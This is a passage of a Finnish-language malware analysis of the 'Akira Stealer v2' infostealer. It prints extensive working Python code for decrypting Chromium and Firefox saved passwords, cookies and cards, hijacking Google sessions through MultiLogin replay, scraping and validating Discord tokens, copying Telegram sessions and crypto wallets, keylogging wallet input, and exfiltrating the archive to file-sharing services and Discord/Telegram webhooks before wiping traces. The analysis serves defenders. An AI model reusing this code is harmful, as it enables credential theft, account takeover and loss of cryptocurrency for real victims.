"SELECT name, value FROM autofill"
).fetchall()
for field, value in results:
autofills.append((field.strip(), value.strip()))
- Hakee lomakkeentäyttömerkinnät:
name, valueweb data-tiedostosta. - Kirjoittaa ulos tiedostoon
Autofill/<BrowserName> Autofill.txt.
7.4.8 Firefox-profiilin sieppaaja (GeckoDriver & grabFirefoxProfiles)
Toisin kuin yksityiskohtaiset Chromium-rutiinit, tämä funktio valitsee laajan lähestymistavan: se pakkaa koko Firefox-profiilihakemiston—mukaan lukien tallennetut kirjautumistiedot, evästeet ja kirjanmerkit—ja exfiltroi sen kokonaisuudessaan. Tämä varmistaa, että hyökkääjät voivat analysoida tai poimia dataa offline-tilassa ohittaen salauksenpurkuesteet tunnetulla NSS-työkaluilla.
with zipfile.ZipFile(zip_path, 'w') as zipf:
for root, dirs, files in os.walk(source_path):
zipf.write(each file)
# Upload via GoFile/File.io, then POST via attacker webhooks
- Zippaa koko
%APPDATA%\Mozilla\Firefox\Profiles-hakemiston. - Nimeää sen
%TEMP%\<ComputerName>_Firefox_profiles.zipja lähettää latauslinkin samojen webhook-kanavien kautta. - Kutsuu myös samoja SQLite-pohjaisia poimintafunktioita (
logins.json,cookies.sqlite,places.sqlite) jokaista Firefox-profiilia vastaan käyttäen jo olemassa olevia NSS-salauksenpurkurutiineja.
7.4.9 Poiminnan yhteenveto
Astor.py orkestroi kattavan selainmurron keräämällä järjestelmällisesti jokaisen tunnistetiedon ja istuntoartefaktin Chromium-pohjaisista ja Firefox-asiakkaista. Se paikantaa ja kopioi turvallisesti jokaisen SQLite-varaston—Login Data, Web Data, Cookies, History ja autofill—ja suorittaa sitten kohdennettuja SQL-kyselyjä poimiakseen URL:t, käyttäjätunnukset, salasanat, luottokorttitiedot, evästeet, selaushistorian ja lomakkeentäyttömerkinnät. Salasanat ja maksudata puretaan AES-GCM:llä (tai Windowsin DPAPI-varajärjestelyllä), ja evästeet puretaan vastaavasti selkokielisten arvojensa paljastamiseksi. Google-tileillä token_service-taulun salatut OAuth-tokenit puretaan ja toistetaan multilogin-API:a vastaan live-istuntoevästeiden regeneroimiseksi. Lopuksi Firefox-profiilit arkistoidaan kokonaisuudessaan (mukaan lukien logins.json, cookies.sqlite ja places.sqlite) ja toimitetaan ZIP-tiedostoina, jottei yhtään artefaktia jää jälkeen. Tämä päästä päähän -putki toimii hiljaa polun %TEMP%\<ComputerName> alla ja tuottaa siististi järjestellyt tulostetiedostot jokaiselle datakategorialle.
7.5 Salauksenpurkulogiikka
Nykyaikaiset selaimet, kuten Chrome ja Edge, salaavat arkaluonteisen datan—kuten salasanat, evästeet ja luottokorttitiedot—ennen kuin tallentavat ne paikallisesti. Akira sisältää sisäänrakennetut salauksenpurkurutiinit, jotka on räätälöity käsittelemään sekä vanhoja että nykyisiä Chromiumin salausmenetelmiä. Tämä varmistaa, että se voi poimia selkokielistä dataa riippumatta järjestelmän päivitystasosta tai selaimen versiosta.
Tämän prosessin ytimessä on selaimen pääsalausavaimen poiminta ja purku, joka on tallennettu tiedostoon Local State. Selaimen version ja Windows-koontiversion mukaan Akira valitsee dynaamisesti sopivan salauksenpurkumenetelmän:
DPAPI (Data Protection API) on käytössä vanhemmissa järjestelmissä, joissa Chrome tallentaa salaisuudet nykyisen käyttäjän Windows-tunnistetiedoilla suojattuina.
AES-GCM on käytössä nykyaikaisissa Chromium-koontiversioissa, joissa satunnaisesti generoitu pääavain on itsessään salattu DPAPI:lla ja jota käytetään sitten käyttäjädatan sovelluksensisäiseen salaukseen.
Purkamalla ensin Local State -pääavaimen Akira saa kyvyn avata kaikki selaimen salaisuudet—raivaten tien tunnistetietojen, tokenien, evästeiden ja muun poimintaan.
Avaimen poiminta
local_state_path = os.path.join(user_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
Salauksen purku (AES-GCM):
nonce = value[3:15]
ciphertext = value[15:-16]
tag = value[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
Jos tarvitaan varajärjestelynä DPAPI:a (vanhemmissa järjestelmissä), se käyttää funktiota win32crypt.CryptUnprotectData().
decrypt_password_blob:n selitys:
Tämä funktio havainnollistaa, miten Akira Stealer purkaa jokaisen tallennetun salasana-arvon Chromium-pohjaisista selaimista. Se käsittelee kaksi tapausta:
- Windowsin DPAPI-möykyt (vanhempi tai ei-GCM-salattu data): Palautuu järjestelmäkutsuun
CryptUnprotectData, joka käyttää käyttäjän Windows-tunnistetietoja salauksen purkuun. - AES-GCM-salatut möykyt (Chrome v10/v11 -muoto): Jäsentää versiotunnisteen, poimii IV:n ja todennustagin ja käyttää
cryptography-kirjastoa payloadin turvalliseen purkamiseen.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
def decrypt_password_blob(buffer: bytes, key: bytes) -> str:
"""
Decrypts a Chrome password blob using either DPAPI or AES-GCM.
Parameters:
- buffer: raw encrypted blob from the `password_value` field
- key: the master AES key retrieved via DPAPI from Local State
Returns:
- Decrypted UTF-8 plaintext password
"""
# 1) DPAPI fallback for non-AES-GCM blobs
if not buffer.startswith((b'v10', b'v11')):
# Uses Windows CryptUnprotectData under the hood
return CryptUnprotectData(buffer)
# 2) AES-GCM decryption for Chrome v10/v11 format:
# Bytes layout:
# [0:3] = version header ('v10'/'v11')
# [3:15] = initialization vector (IV)
# [15:-16] = ciphertext payload
# [-16:] = GCM authentication tag
iv = buffer[3:15]
ciphertext = buffer[15:-16]
tag = buffer[-16:]
# Initialize AES-GCM cipher with extracted IV and tag
cipher = Cipher(
algorithms.AES(key),
modes.GCM(iv, tag),
backend=default_backend()
)
decryptor = cipher.decryptor()
# Perform decryption; raises if authentication fails
plaintext = decryptor.update(ciphertext) + decryptor.finalize()
# Decode to UTF-8, ignoring any stray errors
return plaintext.decode('utf-8', errors='ignore')
7.6 Istuntotokenien kaappaus
Akira ei pysähdy passiiviseen datankeruuseen—se kaappaa aktiivisesti live-istuntotokeneja esiintyäkseen uhreina reaaliajassa. Poimittuaan salatut tokenit selaimen varastosta se rekonstruoi vaaditun valtuutusotsikon ja toistaa MultiLogin-pyynnön Googlen OAuth-päätepistettä vastaan. Alla oleva koodikatkelma havainnollistaa tätä prosessia:
# Build SAPISIDHASH header for Google services
origin = "https://accounts.google.com"
timestamp = int(time.time())
# Compute SHA1 of "timestamp origin SAPISID"
payload = f"{timestamp} {origin} {sap_id_cookie}".encode()
signature = hashlib.sha1(payload).hexdigest()
headers = {
"Authorization": f"SAPISIDHASH {timestamp}_{signature}",
"Content-Type": "application/json"
}
# Replay MultiLogin to fetch valid session cookies
response = requests.post(
"https://accounts.google.com/accounts/multilogin",
headers=headers,
json={"continue": "https://mail.google.com"}
)
if response.status_code == 200:
# Victim’s cookies now present in response.cookies
hijacked_cookies = response.cookies
Toistamalla tämän pyynnön Akira voi esiintyä käyttäjän Gmailina, Drivena tai minä tahansa muuna kelvollisen istunnon suojaamana Google-palveluna—ilman tunnistetietoja. Tämä tekniikka hyödyntää Googlen omaa tokenien hyväksymislogiikkaa, mikä tekee siitä lähes erottamattoman laillisesta asiakaskäyttäytymisestä.
7.7 Firefox-salauksen purku
Gecko‑pohjaiset selaimet kuten Firefox salaavat tallennetut tunnistetiedot ja evästeet pääavaimella, joka on tallennettu tiedostoon key4.db. Akira sisältää riisutun salauksenpurkurutiinin, joka peilaa Mozillan NSS-logiikkaa ja käsittelee sekä 3DES- että AES‑CBC-variantit laukaisematta pääsalasanakehotetta. Esimerkkikäyttö:
# Load global Salt and encrypted item from key4.db
db = sqlite3.connect(profile_path + "/key4.db")
cursor = db.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
global_salt, item2 = cursor.fetchone()
# Decode DER structure and derive key
decoded, _ = der_decode(item2)
entry_salt = decoded[0][1][0].asOctets()
cipher_text = decoded[1].asOctets()
# Derive 3DES key
key = derive_3des_key(global_salt, master_password, entry_salt)
iv = decoded[0][1][1].asOctets()
# Decrypt credentials
cipher = DES3.new(key, DES3.MODE_CBC, iv)
clear_password = unpad(cipher.decrypt(cipher_text))
print("Decrypted Firefox password:", clear_password)
Tämän rutiinin avulla Akira voi läpinäkyvästi dumpata logins.json-, cookies.sqlite- ja places.sqlite-tiedostot jokaisesta Firefox-profiilista ja kirjoittaa puretun tulosteen polkuun:
Passwords/Firefox_<ProfileName> Passwords.txt
Cookies/Firefox_<ProfileName> Cookies.txt
History/Firefox_<ProfileName> History.txt
Tämä lähestymistapa ohittaa käyttäjätason pääsalasanatarkistukset ja antaa stealerille esteettömän pääsyn kaikkiin tallennettuihin tunnistetietoihin.*
4. Tiedostorakenne ja nimeäminen
<ComputerName>.zip
└── <ComputerName>\
├── Passwords\
│ ├── Chrome Passwords.txt
│ ├── Edge Passwords.txt
│ └── …
├── Cookies\
│ ├── Chrome Cookies.txt
│ ├── Edge Cookies.txt
│ ├── user@example.com Google Session.txt
│ └── …
├── CreditCards\
│ ├── Chrome CreditCards.txt
│ └── …
├── History\
│ ├── Chrome History.txt
│ └── …
├── Autofill\
│ ├── Chrome Autofill.txt
│ └── …
└── Wallets\
├── Firefox_Default_profiles.zip
├── Firefox_Profile1_profiles.zip
└── …
- Jokainen
.txtalkaa yhdenmukaisella otsikolla (<================[Akira Stealer v2]>================>) ja erotinrivillä (====…====). - Levyllä oleva ZIP:
%TEMP%\<ComputerName>.zip. - C&C-tiedostonimen tunniste:
Akira-<username>.zip.
5. Exfiltraatio ja siivous
url = Webhook.uploadToGofile(zip_path)
if not url:
url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
Webhook.sendDataTG(zip_path, chatId, startup)
Utils.clear_client_folder()
- Ensisijainen kanava (GoFile.io): Haittaohjelma yrittää ensin ladata kaikki varastetut artefaktit sisältävän ZIP-arkiston GoFile.io-palveluun ja jäsentää JSON-vastauksesta
downloadPage-URL:n, joka antaa hyökkääjälle suoran pääsyn arkistoon. - Automaattiset varajärjestelyt: Jos GoFile-päätepiste epäonnistuu (verkon aikakatkaisu, käyttörajoitus jne.), koodi palautuu saumattomasti
file.io:hon, ja jos sekin palauttaa tyhjän linkin, lopultaoshi.at:hen. Kummatkin vaihtoehdot kutsutaan poikkeuksia nostamatta, mikä varmistaa, että jokin kolmesta palvelusta yritetään aina peräkkäin. - Webhook-raportointi: Kun URL (tai tyhjä merkkijono pysyvässä epäonnistumisessa) on selvitetty, kutsutaan
Webhook.sendDataTG(...), joka paketoi yhteen latauslinkin, koneen tunnisteet (chatId,startup-lippu) ja kaikki kategorioiden lukumäärät (salasanat, evästeet, automaattiset täytöt, lompakot) yhdeksi Discord- tai Telegram-viestiksi. - Välitön siivous: Raportoinnin jälkeen
Utils.clear_client_folder()poistaa rekursiivisesti koko väliaikaisen työtilan ja itse ZIP-tiedoston, jättämättä jälkeä kerätystä datasta tai arkistosta levylle.
Vikasietoisuus:
- Kaikki latausrutiinit palauttavat
""epäonnistuessaan sen sijaan että heittäisivät poikkeuksen, mikä takaa koodin suoritusvirran jatkumisen.- Vaikka jokainen palvelu olisi tavoittamattomissa, haittaohjelma lähettää silti webhook-raportin (tosin puuttuvalla linkillä) ennen paikallisten artefaktien pyyhkimistä, mikä minimoi forensiset jäänteet, ellei prosessi kaadu odottamatta.
6. Vankkuus ja virheenkäsittely
- Yksityiskohtainen poikkeustenkäsittely: Jokainen tiedostojärjestelmävuorovaikutus—olipa se
shutil.copy, SQLite-kyselyt tai ZIP-operaatiot—on käärittytry/except-lohkoihin. Kun virhe tapahtuu (lukittu tietokanta, käyttöoikeus evätty, virheellinen tietue), poikkeus napataan ja kirjataanAkira.logErrorTg()-funktiolla, ja suoritus jatkuu, mikä eristää epäonnistumisen kyseiseen tiedostoon tai moduuliin. - Säikeistetty eristys selainkohtaisesti: Kunkin tuetun selaimen poimintarutiinit suoritetaan omassa säikeessään. Tämä monisäikeinen suunnittelu varmistaa, ettei yhden selaimen poiminnan kaatuminen tai lukkiutuminen (esim. korruptoitunut profiili, puuttuva avain) pysäytä tai viivytä muiden selaimien analyysiä.
- Hiljaiset varajärjestelyt ja oletukset: Monet aputoiminnot, kuten lataus vaihtoehtoisiin tiedostopalveluihin, etäresurssien tarkistus tai aliprosessien käynnistys, käyttävät sisäkkäisiä
try/except-lohkoja ilman pintatason hälytyksiä—mikä maksimoi huomaamattomuuden. Oletusarvot (tyhjät merkkijonot, totuusarvot) valitaan pitämään suoritusvirta keskeytymättömänä ja poistamaan ilmeiset virhetilanteet. - Mutex- ja käynnistysvahdit: Nimetty mutex (
1qsMlseJplTlArIF14f) estää useat instanssit, ja rekisteritarkistukset jaUtils.CreateMutex()suojaavat samanaikaisilta suorituksilta, mikä tuo lisävakautta todellisessa käyttöönotossa.
7.8 Lompakoiden ja tokenien exfiltraatio
Tässä vaiheessa Akira Stealer v2 suorittaa kattavimman haravoinnin kryptovaluuttatunnistetietojen ja istuntotokenien varalta, kattaen selainlaajennukset, työpöytälompakot, viestintätokenit ja live-keyloggauksen. Se suoritetaan rinnakkaisissa säikeissä, mikä varmistaa, ettei yhtään vektoria jää huomiotta. Alla on vaihe vaiheelta etenevä, koodiin nojaava syväsukellus.
7.8.1 Selainlaajennuslompakot
Kohteet: Yli 80 laajennusta suosituissa selaimissa, mukaan lukien MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman ja muita.
# Hardcoded list of extension IDs and human-friendly names
walletsExtensions = [
["MetaMask", "nkbihfbeogaeaoehlefnkodbefgpgknn"],
["Phantom", "bfnaelmomeimhlpmgjnjophhpkkoljpa"],
["TrustWallet", "egjidjbpglichdcondbcbdnbeeppgdph"],
["CoinbaseWallet", "hfhmhopkfngkjcalldmaepmpilmjjemb"],
["Solflare", "bhhhlbepdkbapadjdnnojkbgioiodbic"],
["BinanceChain", "fhbohimaelbohpjbbldcngcnapndodjp"],
["Keplr", "dmkamcknogkgcdfhhbddcghachkejeap"],
["Nami", "lpfcbjknijpeeillifnkikgncikgfhdo"],
["Talisman", "fijngjgcjhjmmpcmkeiomlglpeiijkld"],
["TronLink", "ibnejdfjmmkpcnlpebklmnkoeoihofec"],
# ... plus dozens more mapped in code
]
# Extraction loop for each browser profile
for browser_name, (user_data, proc_name) in paths.items():
base = os.path.join(user_data, "Default", "Local Extension Settings")
for ext_name, ext_id in walletsExtensions:
src = os.path.join(base, ext_id)
if os.path.isdir(src):
dest = os.path.join(Utils.get_temp_folder(), "Wallets", f"{ext_name}_{browser_name}")
shutil.copytree(src, dest, dirs_exist_ok=True)
data.ext_wallets_count += 1
- Kopioidut tiedostot: Laajennuskohtaiset IndexedDB-, LevelDB-, JSON- ja konfiguraatiotiedostot, jotka sisältävät salattuja avaimia, seed-lauseita ja kirjautumistietoja.
- Tuloskansio:
Wallets/MetaMask_Chrome/,Wallets/Phantom_Edge/jne.
7.8.2 Työpöytälompakkosovellukset
Kohteet: Suuret työpöytäasiakkaat, kuten Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi jne.
walletsDesktop = [
["Electrum", os.path.join(os.getenv('APPDATA'), "Electrum", "wallets")],
["Exodus", os.path.join(os.getenv('APPDATA'), "Exodus", "exodus.wallet")],
["AtomicWallet", os.path.join(os.getenv('LOCALAPPDATA'), "atomic", "Local Storage", "leveldb")],
["Guarda", os.path.join(os.getenv('APPDATA'), "Guarda", "Local Storage", "leveldb")],
["Rabby", os.path.join(os.getenv('APPDATA'), "rabby-desktop")],
["Coinomi", os.path.join(os.getenv('APPDATA'), "Coinomi", "wallets")],
]
for name, path in walletsDesktop:
if os.path.isdir(path):
Utils.TaskKill(name.lower())
dest = os.path.join(Utils.get_temp_folder(), "Wallets", name)
shutil.copytree(path, dest, dirs_exist_ok=True)
data.desktop_wallets_count += 1
- Varastettu data: Keystore-tiedostot (
*.dat,*.json), yksityisten avainten viennit, lompakon konfiguraatio ja tapahtumahistoria. - Hyöty: Offline-lompakon sisältö, jota hyökkääjä voi käyttää tapahtumien valtuuttamiseen.
7.8.3 Discord-tokenien haravointi
Discord-tokenit ovat todennusartefakteja—käytännössä pitkäikäisiä bearer-tokeneja—jotka voivat antaa täyden pääsyn käyttäjän tiliin ilman hänen tunnistetietojaan tai MFA:ta. Akira käyttää tätä hyväkseen skannaamalla selain- ja sovellusdatakansioita eri Discord-asiakkaiden tallentamien tokenien varalta, mukaan lukien Discord Stable, Canary, PTB (Public Test Build) ja jopa muokatut forkit kuten Lightcord.
Tekniikka kohdistuu sovelluksen Local Storage -kansion alla oleviin LevelDB-tiedostoihin, joissa todennustokenit usein pysyvät selkokielisinä. Säännöllisiä lausekkeita käyttäen haittaohjelma skannaa nämä .log- ja .ldb-tiedostot kuvioiden varalta, jotka vastaavat joko tavallisia käyttäjätokeneja tai MFA-tokeneja.
Luotettavuuden parantamiseksi ja kohinan vähentämiseksi Akira sisältää validointivaiheen: se lähettää testipyynnön Discordin /users/@me-päätepisteeseen jokaisella haravoidulla tokenilla. Vain tokenit, jotka todentuvat onnistuneesti (HTTP 200), exfiltroidaan webhookin kautta—tyypillisesti hyökkääjän hallitsemaan Discord-kanavaan.
Tämä menetelmä antaa hyökkääjille mahdollisuuden kaapata Discord-tilejä reaaliajassa, esiintyä uhrina, kaapia yksityisviestejä ja palvelimia tai levittää lisähaittaohjelmia sosiaalisen manipuloinnin kautta—kaikki laukaisematta kirjautumishälytyksiä.
import re, requests
patterns = [
r"[\w-]{24}\.[\w-]{6}\.[\w-]{27,100}", # User tokens
r"mfa\.[\w-]{84,100}" # MFA tokens
]
def harvest_discord(base, webhook_url):
db_dir = os.path.join(base, "Local Storage", "leveldb")
for file in os.listdir(db_dir):
if file.endswith(('.log', '.ldb')):
for line in open(os.path.join(db_dir, file), errors='ignore'):
for pat in patterns:
for token in re.findall(pat, line):
# Verify token
h = {"Authorization": token}
r = requests.get("https://discordapp.com/api/v9/users/@me", headers=h)
if r.status_code == 200:
uname = r.json()["username"] + "#" + r.json()["discriminator"]
payload = {"content": f"**Discord** {uname}: `{token}`"}
requests.post(webhook_url, json=payload)
- Validointi: Julkaisee vain kelvolliset tokenit, mikä estää vanhentuneiden JWT:iden lähettämisen.
7.8.4 Telegram-istuntotiedostot
Kohteet: Telegram Desktop/TData
def steal_telegram(tdata_path, dest_root):
if os.path.exists(tdata_path):
Utils.TaskKill("telegram.exe")
dest = os.path.join(dest_root, "Wallets", "Telegram")
shutil.copytree(tdata_path, dest, dirs_exist_ok=True)
data.has_telegram = True
- Tiedostot:
tdata-kansio, joka sisältää istuntoavaimet,D877F...-kansio secret/unsecret-tiedostoineen. - Käyttö: Lataa hyökkääjän Telegram-asiakkaaseen täyttä tilin käyttöä varten.
7.8.5 Live-lompakkokeyloggaus
Kryptovaluuttalompakot ovat ensisijaisia kohteita nykyaikaisille infostealereille. Akira sisältää live-keyloggerin, joka on räätälöity varastamaan lompakon tunnistetiedot, kuten seed-lauseet, yksityiset avaimet ja salasanat, syöttöhetkellä. Toisin kuin geneeriset keyloggerit, tämä aktivoituu vain, kun tunnettu lompakkoikkuna havaitaan, mikä vähentää dramaattisesti kohinaa ja lisää tehokkuutta.
Moduuli valvoo aktiivisten ikkunoiden otsikoita ja vertaa niitä kovakoodattuun listaan suosituista lompakkosovelluksista kuten MetaMask, Phantom, Atomic Wallet ja muut. Kun vastaava ikkuna on aktiivisena, se alkaa tallentaa näppäinpainalluksia järjestelmänlaajuisten näppäimistökoukkujen kautta. Kun käyttäjä painaa Enteriä, moduuli kaappaa välittömästi leikepöydän nykyisen sisällön—tietäen, että käyttäjät usein kopioivat salaisuuksia lompakon pystytyksen tai kirjautumisen aikana—ja lähettää sekä kirjoitetun syötteen että leikepöydän datan hyökkääjän webhookiin. Tämä lähestymistapa on erittäin tehokas, koska se yhdistää kaksi hyökkäysvektoria:
- Kontekstitietoinen keyloggaus, joka kaappaa arkaluonteiset lompakkosyötteet vain silloin kun ne ovat merkityksellisiä.
- Leikepöydän kaappaus, joka poimii kopioidut palautuslauseet tai kohdeosoitteet ennen kuin ne liitetään.
Yhdessä nämä menetelmät antavat hyökkääjille mahdollisuuden vaarantaa lompakot hiljaa reaaliajassa, myös ilman selainkäyttöä tai tiedostojen exfiltraatiota.
import keyboard, pyperclip
class WalletKeylogger:
def __init__(self, wallet_titles):
self.buf = ""
keyboard.on_release(self.capture)
self.wallet_titles = wallet_titles
def capture(self, event):
title = pygetwindow.getActiveWindow().title
if any(w in title for w in self.wallet_titles):
if event.name == 'enter':
data = f"Keys:{self.buf}\nClip:{pyperclip.paste()}"
send_to_webhook(data)
self.buf = ""
else:
self.buf += event.name
- Laukaisulista: Ikkunaotsikot, mukaan lukien "MetaMask", "Phantom", "Atomic Wallet" jne.
- Leikepöytä: Kaappaa kopioidut seedit tai yksityiset avaimet.
7.8.6 Paketointi ja exfiltraatio
Kerättyään selaindatan, tunnistetiedot, lompakkotiedot ja tokenit Akira kokoaa ja exfiltroi saaliin erittäin automatisoidusti ja huomaamattomasti. Tämä vaihe on tartuntaketjun viimeinen askel, ja se on optimoitu luotettavuuden ja minimaalisen forensisen jalanjäljen kannalta. Ensin kaikki kerätty data—mukaan lukien selaindumpit, lokit ja keylogatut lompakkotiedot—pakataan ZIP-arkistoon. Tämä varmistaa, että koko aineisto voidaan siirtää yhtenä payloadina. Arkisto ladataan sitten useisiin julkisiin tiedostonjakopalveluihin, kuten GoFile, File.io tai Oshi.at, saatavuuden mukaan. Nämä alustat tarjoavat anonyymiä, väliaikaista hostingia, ja niitä käytetään usein yritysten palomuurien tai maineeseen perustuvan eston ohittamiseen. Jäsennelty raportti generoidaan samanaikaisesti ja lähetetään hyökkääjälle Discord- tai Telegram-webhookin kautta. Se sisältää yhteenvetotilastot—kuinka monta lompakkoa löytyi, kuinka monta tokenia oli kelvollisia, ja suoran linkin varastettuun dataan. Tämä antaa hyökkääjille nopean yleiskuvan kohteen arvosta arkistoa avaamatta.
Lopuksi haittaohjelma poistaa väliaikaisen kansion ja arkiston levyltä, mikä käytännössä poistaa paikalliset forensiset todisteet. Siihen mennessä kun puolustaja löytää tartunnan, data on jo poissa—ja usein palautumattomissa.
# 1) ZIP everything (including Wallets folder)
zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())
# 2) Attempt upload to primary & fallback services
url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
# 3) Report summary
embed = {
"title": "💰 Wallet & Token Exfiltration Report",
"fields": [
{"name": "Extension Wallets", "value": data.ext_wallets_count},
{"name": "Desktop Wallets", "value": data.desktop_wallets_count},
{"name": "Discord Tokens", "value": len(valid_tokens)},
{"name": "Telegram Sessions", "value": data.has_telegram},
{"name": "Archive Link", "value": url or "[upload failed]"},
]
}
Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)
# 4) Cleanup local folder & ZIP
Utils.clear_client_folder()
7.9. Discord- ja Telegram-tokenvarkaus (luokka: Discord)
Akira Stealer v2:n Discord-luokka suorittaa erittäin rinnakkaistetun, monivaiheisen prosessin, joka haravoi sekä Discord-valtuutustokenit että Telegram-istuntodatan. Alla pilkomme jokaisen komponentin osiin täsmällisin koodiviittauksin ja havainnollistavin esimerkein.
7.9.1 Alustus ja polkujen luettelointi
Instantioitaessa konstruktori rakentaa kaksi kohdepolkujen joukkoa:
# Discord client LevelDB directories
discord_paths = [
[f"{self.ROAMING}/Discord", "/Local Storage/leveldb"],
[f"{self.ROAMING}/Lightcord", "/Local Storage/leveldb"],
...
]
# Chromium-based browser LevelDB directories
browserPaths = [
[f"{self.ROAMING}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", ...],
[f"{self.LOCAL}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", ...],
...
]
- Discord-polut kohdistuvat virallisiin ja epävirallisiin Discord-asiakkaisiin
%APPDATA%:n alla. - Selainpolut kattavat suosittujen selaimien käyttäjädatakansiot, mukaan lukien local storagen ja laajennusten alikansiot.
Jokaiselle merkinnälle käynnistetään säikeet:
for patt in browserPaths:
t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])
t.start()
for patt in discord_paths:
t = Thread(target=self.get_discord, args=[patt[0], patt[1]])
t.start()
Tämä säikeistysmalli maksimoi I/O-läpisyötön luotaamalla kymmeniä hakemistoja samanaikaisesti.
7.9.2 Tokenien poimintalogiikka
Selkokielisten tokenien kaapiminen selaimista
get_btoken(path, arg) siirtyy jokaiseen LevelDB-kansioon ja tarkastaa .log- ja .ldb-tiedostot:
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}", errors="ignore"):
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
tokens = re.findall(regex, line)
for token in tokens:
self.tokens.append(token)
self.cehckToken(token)
- Regex
[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}vastaa tavallisia Discord-tokeneja. - Regex
mfa\.[\w-]{80,95}kaappaa MFA-tokenit. - Kaksoiskappaleiden poisto on implisiittistä: tokenit tallennetaan
self.tokens-muuttujaan ennen validointia.
Salattujen tokenien purku Discord-asiakkaassa
Discordin asiakas salaa Local Storage -merkinnät DPAPI:lla, etuliitteinä v10 tai v11. get_discord(path, arg) käsittelee tämän:
# Read Local State to obtain encrypted master key
with open(path + "/Local State", 'r') as f:
local_state = json.load(f)
encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]
master_key = self.CryptUnprotectData(encrypted_key)
# Iterate LevelDB files for Base64 payloads
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}"):
for token_part in re.findall(r"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)", line):
ciphertext = b64decode(token_part)
token = self.decrypt_value(ciphertext, master_key)
self.tokens.append(token)
self.cehckToken(token)
- Pääavaimen palautus: Poistaa 5-tavuisen DPAPI-otsikon ja kutsuu sitten
CryptUnprotectData-funktiota (joka kapseloi Windowsin DPAPI:n) purkaakseen AES-GCM-avaimen. - Payloadin jäsentäminen: Tokeneilla on etuliite
dQw4w9WgXcQ:(hyökkääjän valitsema merkintä). Base64-dekoodauksen jälkeendecrypt_value()erottaa IV:n ja salakirjoituksen:def decrypt\_value(buff, master\_key): iv = buff\[3:15] payload = buff\[15:] cipher = AES.new(master\_key, AES.MODE\_GCM, iv) return cipher.decrypt(payload)\[:-16].decode()
7.9.3 Tokenien validointi ja exfiltraatio
Jokainen poimittu token validoidaan live-API-kutsulla:
headers = {"Authorization": token}
resp = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers)
if resp.status_code == 200:
self.cehckToken(token)
- Onnistuessaan
cehckToken()määrittää, lähetetäänkö Telegramin (useTg=True) vai Discord-webhookin kautta:if useTg: self.sendTokenTg(token) else: self.send\_embed(token)
send_embedrakentaa rikkaan Discord-embedin, joka sisältää käyttäjän metatiedot (käyttäjätunnus, discriminator, sähköposti, Nitro-status, laskutustiedot) käyttäen kenttiä lähteestä
user_json = requests.get(...).json()
username = user_json["username"]
id = user_json["id"]
# embed fields: token, email, phone, IP, flags, Nitro, billing
sendTokenTglähettää selkokielisen yhteenvedon Telegram-API:n kautta.
7.9.4 Telegram-istuntojen haravointi
Discord-tokenien lisäksi stealer sieppaa Telegram Desktop -istunnot:
@staticmethod
def steal_telegram():
src = f"{os.getenv('APPDATA')}/Telegram Desktop/tdata"
Utils.TaskKill("telegram.exe")
shutil.copytree(src, os.path.join(Utils.get_temp_folder(), "Telegram"))
- Prosessin päättäminen: Varmistaa, että tiedostolukot vapautetaan.
- Rekursiivinen kopiointi: Varastaa
tdata-kansion, mukaan lukien käyttäjäistunnot, kontaktit ja välimuistiin tallennetut viestit. - Exfiltraatio: Varastettu kansio zipataan ja ladataan
sendFilesTG()-funktiolla, ja latauslinkki upotetaan Telegram-viestiin.
Akira Stealerin Discord-moduuli yhdistää regex-pohjaisen kaapimisen, DPAPI-tuetun AES-GCM-salauksenpurun, live-API-validoinnin ja moniprotokolla-exfiltraation (webhook + Telegram) tarjoten saumattoman tilin haltuunottokyvyn sekä Discord- että Telegram-alustoilla.
7.10 Järjestelmän profilointi
Akira Stealer v2 sisältää laajan järjestelmän profilointivaiheen, jossa kerätään isäntäkoneen metatiedot, ympäristöattribuutit ja verkkotiedot. Nämä tiedot kootaan Data-luokkaan ja paketoidaan myöhemmin exfiltroitujen tunnistetietojen kanssa. Alla pilkomme profilointilogiikan osiin suorin koodiviittauksin.
7.10.1 Data-luokan alustus
Käynnistyksessä luodaan Data-instanssi:
class Data:
def __init__(self):
self.username = os.getlogin()
self.computerName = os.getenv("computername") or "Unable to get computer name"
self.system_info = f"Computer Name: {self.computerName}\n..."
...
self.ip = requests.get(url="https://api.ipify.org").text
ipdata = json.loads(requests.post(url=f"http://ip-api.com/json/{self.ip}").text)
self.country = ipdata.get("country")
self.countryCode = ipdata.get("countryCode", "").lower()
- Käyttäjätunnus ja hostname: Haetaan funktiolla
os.getlogin()jaCOMPUTERNAME-ympäristömuuttujalla. - IP-osoite: Haetaan kutsulla
requests.get("https://api.ipify.org")ja paikannetaan sittenip-api.com-palvelun kautta maan ja ISO-koodin selvittämiseksi.
7.10.2 Käyttöjärjestelmän ja laitteiston luettelointi
Windows Management Instrumentation (WMI) -komentoja käyttäen:
# Operating System
self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout
# Total Physical Memory
